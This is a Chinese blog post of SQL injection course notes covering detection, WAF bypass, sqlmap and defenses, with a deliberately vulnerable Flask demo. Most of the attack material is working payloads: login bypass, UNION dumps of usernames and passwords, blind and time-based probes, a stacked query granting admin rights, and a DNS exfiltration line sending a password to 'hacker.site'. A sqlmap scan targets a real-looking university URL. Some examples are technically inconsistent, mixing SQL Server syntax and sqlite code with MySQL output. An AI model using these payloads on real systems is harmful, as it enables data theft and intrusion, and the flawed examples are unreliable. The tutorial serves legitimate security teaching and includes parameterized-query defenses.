🌀 鱼油のB10g

✦ 不定期更新技术随想

✦ 分享奇妙发现

📌 近期动态:

探索AI和工具使用...

第6章 第46-50课

SQL注入漏洞原理及危害

SQL注入就像黑客在数据库里「自助点餐」——通过输入恶意SQL语句,让后端数据库执行非法操作。举个例子,咱们学校图书馆查询系统的登录框:

-- 正常查询
SELECT * FROM users WHERE username='学号' AND password='密码';

-- 注入攻击(输入用户名:admin' -- )
SELECT * FROM users WHERE username='admin' -- ' AND password='任意值';
-- 注释掉密码验证,直接登录管理员账号

危害直击现实

  1. 敏感信息泄露:比如爬取全校学生身份证号(UNION SELECT id_card FROM students
  2. 网页篡改:在校园新闻页面插入小广告(UPDATE news SET content='赌场链接' WHERE id=1
  3. 删库跑路:实习时误删公司测试环境(DROP TABLE salary_records

SQL注入实战检测方法

我用DVWA靶场带你们体验五种基础检测手法(代码基于MySQL):

1. 显错注入(爆库名)

-- 输入:' AND 1=convert(int,@@version) --
-- 错误回显:Conversion failed when converting '5.7.39' to int
-- 直接泄露数据库版本

2. 布尔盲注(猜表名)

-- 输入:' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_name LIKE 'user%')>0 --
-- 页面正常说明存在user开头的表(比如users)

3. 联合查询(拖数据)

-- 输入:' UNION SELECT username,password FROM users --
-- 直接输出账号密码到页面(别试校选课系统啊喂!)

4. 延时注入(无回显探测)

-- 输入:' AND IF(ASCII(SUBSTR(database(),1,1))>100, SLEEP(3), 0) --
-- 首位ASCII>100则页面延迟3秒,类似「听心跳猜密码」

5. 带外注入(DNS外带数据)

-- 输入:' UNION SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.hacker.site\\test')) --
-- 密码会通过DNS请求发送到黑客服务器(像用快递偷运数据)

SQL注入漏洞绕过与实战

真实网站都有WAF(Web防火墙),得学会「变形术」:

宽字节注入(治严谨编码)

当PHP用mysql_real_escape_string转义单引号时:

-- 输入:%bf%27 OR 1=1 --
-- %bf和转义符\ (%5c) 组合成「縗」(宽字符),吃掉反斜杠使引号逃逸

堆叠注入(一键连招)

支持多语句执行时(如PHP的mysqli_multi_query):

-- 输入:'; UPDATE users SET is_admin=1 WHERE user='201914146' --
-- 直接给自己加管理员权限(数据库版「点石成金」)

课堂案例:某二手书交易平台漏洞

-- 原URL:/book?id=114
-- 攻击:/book?id=114; CREATE TABLE hack(data TEXT) --
-- 结果:数据库凭空多出hack表(管理员当场血压飙升)

SQL注入实战与防御

手工注入 vs SQLmap自动化

手工注入适合复杂过滤场景(比如用/**/代替空格):

SELECT/**/password/**/FROM/**/users

而SQLmap则是「开挂神器」,一条命令扫全校:

sqlmap -u "http://lab.shu.edu.cn/search.php?id=1" --batch --dbs

防御三件套(实习必用)

  1. 参数化查询(Java示例)
String sql = "SELECT * FROM users WHERE sid = ?";
PreparedStatement stmt = conn.prepareStatement(sql);
stmt.setString(1, request.getParameter("id")); // 输入直接当数据处理
  1. 最小化权限:数据库账号只给SELECT权限(禁用DROP/EXECUTE)

  2. WAF规则:过滤union|sleep|benchmark等关键词(正则:\b(union\W+select)\b


SQL注入详解与Kali实战

在Kali Linux用MySQL复现全流程:

环境搭建

sudo apt install mysql-server
mysql -u root -p
CREATE DATABASE ctf;
USE ctf;
CREATE TABLE students(sid VARCHAR(10), name VARCHAR(20));
INSERT INTO students VALUES('202013141','小王'),('202099999','管理员');

联合注入攻击

# 启动漏洞服务(Python脚本)
import sqlite3
from flask import Flask
app = Flask(__name__)
@app.route('/user/<id>')
def user(id):
conn = sqlite3.connect('ctf.db')
cursor = conn.cursor()
cursor.execute(f"SELECT * FROM students WHERE sid='{id}'")# 漏洞点!
return cursor.fetchall()
# 攻击请求(Kali终端)
curl http://localhost:5000/user/'%20UNION%20SELECT%201,version()--'
# 输出:[('202013141', '小王'), (1, '10.3.27-MariaDB')]→ 数据库版本泄露!

总结

SQL注入本质是「把输入当代码执行」,防御核心就一句:别拼接SQL! 下次写课设遇到登录功能,记得用PreparedStatement(Java)或cursor.execute("SELECT %s", (name,)(Python)。挖洞千万条,守法第一条,测试务必用授权靶场(DVWA/sqli-labs)哦! ( •̀ ω •́ )✧

posted on 2025-08-06 05:35  鱼油YOU  阅读(116)  评论(0)    收藏  举报